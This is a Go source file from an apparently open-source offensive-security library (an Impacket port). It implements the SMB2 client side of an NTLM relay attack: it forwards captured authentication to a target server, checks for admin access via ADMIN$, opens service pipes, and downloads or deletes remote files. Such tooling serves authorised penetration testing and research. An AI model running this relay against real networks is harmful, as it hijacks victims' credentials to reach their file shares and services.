Files
psycep ce5ca7f159 module: rename to github.com/mandiant/gopacket
Fixes #6. The module was declared as `module gopacket` in go.mod,
which is not a canonical import path. External projects could not
`go get github.com/mandiant/gopacket` to use any of the 24
protocol packages as a library; the only workaround was to clone
the repo and add a `replace` directive to their own go.mod.

This commit:
- Sets `module github.com/mandiant/gopacket` in go.mod.
- Rewrites 434 import statements across 157 files from the bare
  `gopacket/...` prefix to `github.com/mandiant/gopacket/...`.

Pure mechanical change, no behavior difference. Makes the README's
library story (pkg/ directory, 24 reusable packages) actually
usable from external code.
2026-04-22 10:27:18 -05:00

608 lines
17 KiB
Go

// Copyright 2026 Google LLC
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// https://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package relay
import (
"encoding/binary"
"fmt"
"log"
"net"
"github.com/mandiant/gopacket/internal/build"
"github.com/mandiant/gopacket/pkg/transport"
)
// SMBRelayClient manages the SMB2 connection to the target server.
// It uses raw SMB2 packets to avoid needing session signing keys.
// Implements the ProtocolClient interface.
type SMBRelayClient struct {
TargetAddr string
conn net.Conn
sessionID uint64
treeID uint32
messageID uint64
}
// NewSMBRelayClient creates a new SMB relay client for the given target.
func NewSMBRelayClient(targetAddr string) *SMBRelayClient {
return &SMBRelayClient{TargetAddr: targetAddr}
}
// InitConnection establishes a TCP connection and performs SMB2 NEGOTIATE.
// Implements ProtocolClient.
func (c *SMBRelayClient) InitConnection() error {
conn, err := transport.Dial("tcp", c.TargetAddr)
if err != nil {
return fmt.Errorf("failed to connect to %s: %v", c.TargetAddr, err)
}
c.conn = conn
c.messageID = 0
// Send NEGOTIATE
negReq := buildNegotiateRequest(c.messageID)
c.messageID++
if err := sendPacket(c.conn, negReq); err != nil {
return fmt.Errorf("failed to send negotiate: %v", err)
}
// Receive NEGOTIATE response
resp, err := recvPacket(c.conn)
if err != nil {
return fmt.Errorf("failed to receive negotiate response: %v", err)
}
hdr, err := parseSMB2Header(resp)
if err != nil {
return err
}
if hdr.Status != STATUS_SUCCESS {
return fmt.Errorf("negotiate failed: status=0x%08x", hdr.Status)
}
dialect, _, err := parseNegotiateResponse(resp)
if err != nil {
return err
}
if build.Debug {
log.Printf("[D] Relay client: negotiated dialect 0x%04x with %s", dialect, c.TargetAddr)
}
return nil
}
// SendNegotiate relays the NTLM Type1 negotiate and returns the Type2 challenge.
// Sends raw NTLM in SESSION_SETUP (no SPNEGO wrapping), matching Impacket relay behavior.
// Implements ProtocolClient.
func (c *SMBRelayClient) SendNegotiate(ntlmType1 []byte) ([]byte, error) {
if build.Debug {
log.Printf("[D] Relay client: sending raw NTLM Type1 (%d bytes) to target", len(ntlmType1))
}
// Build SESSION_SETUP request with raw NTLM (no SPNEGO wrapping)
// Impacket relay sends raw NTLM directly in the SecurityBuffer
pkt := buildSessionSetupRequest(c.messageID, 0, ntlmType1)
c.messageID++
if err := sendPacket(c.conn, pkt); err != nil {
return nil, fmt.Errorf("failed to send session setup type1: %v", err)
}
// Receive response
resp, err := recvPacket(c.conn)
if err != nil {
return nil, fmt.Errorf("failed to receive session setup response: %v", err)
}
status, sessionID, secBuf, err := parseSessionSetupResponse(resp)
if err != nil {
return nil, err
}
if status != STATUS_MORE_PROCESSING_REQUIRED {
return nil, fmt.Errorf("expected STATUS_MORE_PROCESSING_REQUIRED, got 0x%08x", status)
}
c.sessionID = sessionID
if build.Debug {
log.Printf("[D] Relay client: got challenge from target, sessionID=0x%x", sessionID)
}
// Extract NTLM Type 2 from response
// Target may respond with SPNEGO-wrapped or raw NTLM depending on what we sent
type2, err := extractNTLMFromSecBuf(secBuf)
if err != nil {
return nil, fmt.Errorf("failed to extract Type2 from response: %v", err)
}
return type2, nil
}
// SendAuth relays the NTLM Type3 authenticate. Returns nil on success.
// Sends raw NTLM in SESSION_SETUP (no SPNEGO wrapping), matching Impacket relay behavior.
// Implements ProtocolClient.
func (c *SMBRelayClient) SendAuth(ntlmType3 []byte) error {
if build.Debug {
log.Printf("[D] Relay client: sending raw NTLM Type3 (%d bytes) to target", len(ntlmType3))
}
// Build SESSION_SETUP request with raw NTLM (no SPNEGO wrapping)
pkt := buildSessionSetupRequest(c.messageID, c.sessionID, ntlmType3)
c.messageID++
if err := sendPacket(c.conn, pkt); err != nil {
return fmt.Errorf("failed to send session setup type3: %v", err)
}
// Receive response
resp, err := recvPacket(c.conn)
if err != nil {
return fmt.Errorf("failed to receive session setup auth response: %v", err)
}
status, _, secBuf, err := parseSessionSetupResponse(resp)
if err != nil {
return err
}
if build.Debug {
log.Printf("[D] Relay client: auth response status=0x%08x, secBuf=%d bytes",
status, len(secBuf))
}
// Accept both STATUS_SUCCESS and STATUS_MORE_PROCESSING_REQUIRED.
// With raw NTLM (no SPNEGO), we typically get STATUS_SUCCESS.
// STATUS_MORE_PROCESSING_REQUIRED may still occur — session is authenticated either way.
if status != STATUS_SUCCESS && status != STATUS_MORE_PROCESSING_REQUIRED {
return fmt.Errorf("authentication failed: status=0x%08x", status)
}
if build.Debug {
log.Printf("[D] Relay client: authentication successful on target (status=0x%08x)", status)
}
return nil
}
// GetSession returns this client for use by attack modules.
// Implements ProtocolClient.
func (c *SMBRelayClient) GetSession() interface{} {
return c
}
// KeepAlive sends a heartbeat to prevent session timeout.
// Implements ProtocolClient.
func (c *SMBRelayClient) KeepAlive() error {
// Tree connect/disconnect IPC$
if err := c.TreeConnect("IPC$"); err != nil {
return err
}
return nil
}
// Kill terminates the connection.
// Implements ProtocolClient.
func (c *SMBRelayClient) Kill() {
if c.conn != nil {
c.conn.Close()
}
}
// IsAdmin checks if the session has admin access by trying to open SCManager.
// Implements ProtocolClient.
func (c *SMBRelayClient) IsAdmin() bool {
// Try to tree connect to ADMIN$
err := c.TreeConnect("ADMIN$")
return err == nil
}
// TreeConnect connects to a share on the target (e.g., IPC$)
func (c *SMBRelayClient) TreeConnect(share string) error {
path := fmt.Sprintf("\\\\%s\\%s", stripPort(c.TargetAddr), share)
pkt := buildTreeConnectRequest(c.messageID, c.sessionID, 0, path)
c.messageID++
if err := sendPacket(c.conn, pkt); err != nil {
return fmt.Errorf("failed to send tree connect: %v", err)
}
resp, err := recvPacket(c.conn)
if err != nil {
return fmt.Errorf("failed to receive tree connect response: %v", err)
}
treeID, err := parseTreeConnectResponse(resp)
if err != nil {
return err
}
c.treeID = treeID
if build.Debug {
log.Printf("[D] Relay client: tree connected to %s, treeID=0x%x", share, treeID)
}
return nil
}
// CreatePipe opens a named pipe on the target (e.g., "srvsvc", "svcctl")
func (c *SMBRelayClient) CreatePipe(name string) ([16]byte, error) {
pkt := buildCreateRequest(c.messageID, c.sessionID, c.treeID, name)
c.messageID++
if err := sendPacket(c.conn, pkt); err != nil {
return [16]byte{}, fmt.Errorf("failed to send create: %v", err)
}
resp, err := recvPacket(c.conn)
if err != nil {
return [16]byte{}, fmt.Errorf("failed to receive create response: %v", err)
}
fileID, err := parseCreateResponse(resp)
if err != nil {
return [16]byte{}, err
}
if build.Debug {
log.Printf("[D] Relay client: opened pipe %s, fileID=%x", name, fileID)
}
return fileID, nil
}
// Transact performs an IOCTL FSCTL_PIPE_TRANSCEIVE on the pipe
func (c *SMBRelayClient) Transact(fileID [16]byte, input []byte, maxOutput int) ([]byte, error) {
pkt := buildIOCTLRequest(c.messageID, c.sessionID, c.treeID, fileID, input, uint32(maxOutput))
c.messageID++
if err := sendPacket(c.conn, pkt); err != nil {
return nil, fmt.Errorf("failed to send ioctl: %v", err)
}
resp, err := recvPacket(c.conn)
if err != nil {
return nil, fmt.Errorf("failed to receive ioctl response: %v", err)
}
output, err := parseIOCTLResponse(resp)
if err != nil {
return nil, err
}
return output, nil
}
// ReadPipe reads data from the pipe
func (c *SMBRelayClient) ReadPipe(fileID [16]byte, length int) ([]byte, error) {
pkt := buildReadRequest(c.messageID, c.sessionID, c.treeID, fileID, uint32(length))
c.messageID++
if err := sendPacket(c.conn, pkt); err != nil {
return nil, fmt.Errorf("failed to send read: %v", err)
}
resp, err := recvPacket(c.conn)
if err != nil {
return nil, fmt.Errorf("failed to receive read response: %v", err)
}
// Handle STATUS_PENDING - server sent interim response, wait for actual response
hdr, err := parseSMB2Header(resp)
if err == nil && hdr.Status == STATUS_PENDING {
if build.Debug {
log.Printf("[D] Relay client: ReadPipe got STATUS_PENDING, waiting for actual response")
}
resp, err = recvPacket(c.conn)
if err != nil {
return nil, fmt.Errorf("failed to receive read response (after pending): %v", err)
}
}
return parseReadResponse(resp)
}
// WritePipe writes data to the pipe
func (c *SMBRelayClient) WritePipe(fileID [16]byte, data []byte) error {
pkt := buildWriteRequest(c.messageID, c.sessionID, c.treeID, fileID, data)
c.messageID++
if err := sendPacket(c.conn, pkt); err != nil {
return fmt.Errorf("failed to send write: %v", err)
}
resp, err := recvPacket(c.conn)
if err != nil {
return fmt.Errorf("failed to receive write response: %v", err)
}
hdr, err := parseSMB2Header(resp)
if err != nil {
return err
}
if hdr.Status != STATUS_SUCCESS {
return fmt.Errorf("write failed: status=0x%08x", hdr.Status)
}
return nil
}
// CreateFile opens a file for reading and returns the file handle and size
func (c *SMBRelayClient) CreateFile(path string) ([16]byte, uint64, error) {
pkt := buildCreateFileReadRequest(c.messageID, c.sessionID, c.treeID, path)
c.messageID++
if err := sendPacket(c.conn, pkt); err != nil {
return [16]byte{}, 0, fmt.Errorf("failed to send create file: %v", err)
}
resp, err := recvPacket(c.conn)
if err != nil {
return [16]byte{}, 0, fmt.Errorf("failed to receive create file response: %v", err)
}
fileID, fileSize, err := parseCreateResponseWithSize(resp)
if err != nil {
return [16]byte{}, 0, err
}
if build.Debug {
log.Printf("[D] Relay client: opened file %s, fileID=%x, size=%d", path, fileID, fileSize)
}
return fileID, fileSize, nil
}
// ReadFileAt reads data from a file at a given offset
func (c *SMBRelayClient) ReadFileAt(fileID [16]byte, offset uint64, length uint32) ([]byte, error) {
pkt := buildReadRequestAt(c.messageID, c.sessionID, c.treeID, fileID, length, offset)
c.messageID++
if err := sendPacket(c.conn, pkt); err != nil {
return nil, fmt.Errorf("failed to send read: %v", err)
}
resp, err := recvPacket(c.conn)
if err != nil {
return nil, fmt.Errorf("failed to receive read response: %v", err)
}
// Handle STATUS_PENDING
hdr, err := parseSMB2Header(resp)
if err == nil && hdr.Status == STATUS_PENDING {
resp, err = recvPacket(c.conn)
if err != nil {
return nil, fmt.Errorf("failed to receive read response (after pending): %v", err)
}
}
return parseReadResponse(resp)
}
// DownloadFile reads an entire file by TreeConnecting to the share and reading in chunks
func (c *SMBRelayClient) DownloadFile(share, path string) ([]byte, error) {
if err := c.TreeConnect(share); err != nil {
return nil, fmt.Errorf("tree connect %s: %v", share, err)
}
fileID, fileSize, err := c.CreateFile(path)
if err != nil {
return nil, fmt.Errorf("create file %s: %v", path, err)
}
defer c.CloseFile(fileID)
if build.Debug {
log.Printf("[D] Relay client: downloading %s\\%s (%d bytes)", share, path, fileSize)
}
// Read in 64KB chunks
const chunkSize = uint32(65536)
var result []byte
var offset uint64
for offset < fileSize {
readLen := chunkSize
remaining := fileSize - offset
if uint64(readLen) > remaining {
readLen = uint32(remaining)
}
data, err := c.ReadFileAt(fileID, offset, readLen)
if err != nil {
return nil, fmt.Errorf("read at offset %d: %v", offset, err)
}
result = append(result, data...)
offset += uint64(len(data))
}
return result, nil
}
// DeleteFile opens a file with DELETE_ON_CLOSE and closes it to delete
func (c *SMBRelayClient) DeleteFile(share, path string) error {
if err := c.TreeConnect(share); err != nil {
return fmt.Errorf("tree connect %s: %v", share, err)
}
pkt := buildCreateFileDeleteRequest(c.messageID, c.sessionID, c.treeID, path)
c.messageID++
if err := sendPacket(c.conn, pkt); err != nil {
return fmt.Errorf("failed to send delete create: %v", err)
}
resp, err := recvPacket(c.conn)
if err != nil {
return fmt.Errorf("failed to receive delete create response: %v", err)
}
fileID, err := parseCreateResponse(resp)
if err != nil {
return fmt.Errorf("delete create failed: %v", err)
}
// Close the handle — DELETE_ON_CLOSE causes deletion
return c.CloseFile(fileID)
}
// CloseFile closes a file handle (same protocol as ClosePipe)
func (c *SMBRelayClient) CloseFile(fileID [16]byte) error {
return c.ClosePipe(fileID)
}
// ClosePipe closes a pipe handle
func (c *SMBRelayClient) ClosePipe(fileID [16]byte) error {
pkt := buildCloseRequest(c.messageID, c.sessionID, c.treeID, fileID)
c.messageID++
if err := sendPacket(c.conn, pkt); err != nil {
return fmt.Errorf("failed to send close: %v", err)
}
resp, err := recvPacket(c.conn)
if err != nil {
return fmt.Errorf("failed to receive close response: %v", err)
}
hdr, err := parseSMB2Header(resp)
if err != nil {
return err
}
if hdr.Status != STATUS_SUCCESS {
return fmt.Errorf("close failed: status=0x%08x", hdr.Status)
}
return nil
}
// Close closes the TCP connection
func (c *SMBRelayClient) Close() error {
if c.conn != nil {
return c.conn.Close()
}
return nil
}
// stripPort removes the port from a host:port address
func stripPort(addr string) string {
host, _, err := net.SplitHostPort(addr)
if err != nil {
return addr
}
return host
}
// extractNTLMFromSecBuf extracts the raw NTLM token from a SESSION_SETUP response
// security buffer. The target may respond with SPNEGO-wrapped or raw NTLM.
func extractNTLMFromSecBuf(secBuf []byte) ([]byte, error) {
if len(secBuf) == 0 {
return nil, fmt.Errorf("empty security buffer")
}
// Check if this is raw NTLM (starts with "NTLMSSP\0")
if len(secBuf) >= 8 && string(secBuf[0:7]) == "NTLMSSP" {
return secBuf, nil
}
// Check if this is a SPNEGO NegTokenResp (starts with 0xa1)
if secBuf[0] == 0xa1 {
type2, err := decodeNegTokenResp(secBuf)
if err != nil {
return nil, fmt.Errorf("SPNEGO decode failed: %v", err)
}
return type2, nil
}
// Check if this is a SPNEGO NegTokenInit (starts with 0x60)
if secBuf[0] == 0x60 {
type2, err := decodeNegTokenInit(secBuf)
if err != nil {
return nil, fmt.Errorf("SPNEGO init decode failed: %v", err)
}
return type2, nil
}
return nil, fmt.Errorf("unknown security buffer format (first byte: 0x%02x)", secBuf[0])
}
// extractNTLMType3Info extracts the user and domain from an NTLM Type 3 message
func extractNTLMType3Info(type3 []byte) (domain, user string) {
// NTLM Type 3 structure:
// Signature (8 bytes): "NTLMSSP\0"
// MessageType (4 bytes): 3
// LmChallengeResponseFields (8 bytes)
// NtChallengeResponseFields (8 bytes)
// DomainNameFields (8 bytes) at offset 28
// UserNameFields (8 bytes) at offset 36
// WorkstationFields (8 bytes) at offset 44
// EncryptedRandomSessionKeyFields (8 bytes) at offset 52
// NegotiateFlags (4 bytes) at offset 60
if len(type3) < 64 {
return "", ""
}
// Check NTLMSSP signature
if string(type3[0:7]) != "NTLMSSP" {
return "", ""
}
// Check NegotiateFlags at offset 60 for NTLMSSP_NEGOTIATE_UNICODE (bit 0).
// If set, domain/username are UTF-16LE encoded; otherwise they are OEM (single-byte).
flags := binary.LittleEndian.Uint32(type3[60:64])
unicode := flags&ntlmsspNegotiateUnicode != 0
// DomainName: Len(2) MaxLen(2) Offset(4) at offset 28
domainLen := binary.LittleEndian.Uint16(type3[28:30])
domainOffset := binary.LittleEndian.Uint32(type3[32:36])
// UserName: Len(2) MaxLen(2) Offset(4) at offset 36
userLen := binary.LittleEndian.Uint16(type3[36:38])
userOffset := binary.LittleEndian.Uint32(type3[40:44])
if int(domainOffset)+int(domainLen) <= len(type3) {
raw := type3[domainOffset : domainOffset+uint32(domainLen)]
if unicode {
domain = decodeUTF16LE(raw)
} else {
domain = string(raw)
}
}
if int(userOffset)+int(userLen) <= len(type3) {
raw := type3[userOffset : userOffset+uint32(userLen)]
if unicode {
user = decodeUTF16LE(raw)
} else {
user = string(raw)
}
}
return domain, user
}
// decodeUTF16LE decodes UTF-16LE bytes to a string
func decodeUTF16LE(b []byte) string {
if len(b)%2 != 0 {
b = b[:len(b)-1]
}
runes := make([]rune, len(b)/2)
for i := range runes {
runes[i] = rune(binary.LittleEndian.Uint16(b[i*2:]))
}
return string(runes)
}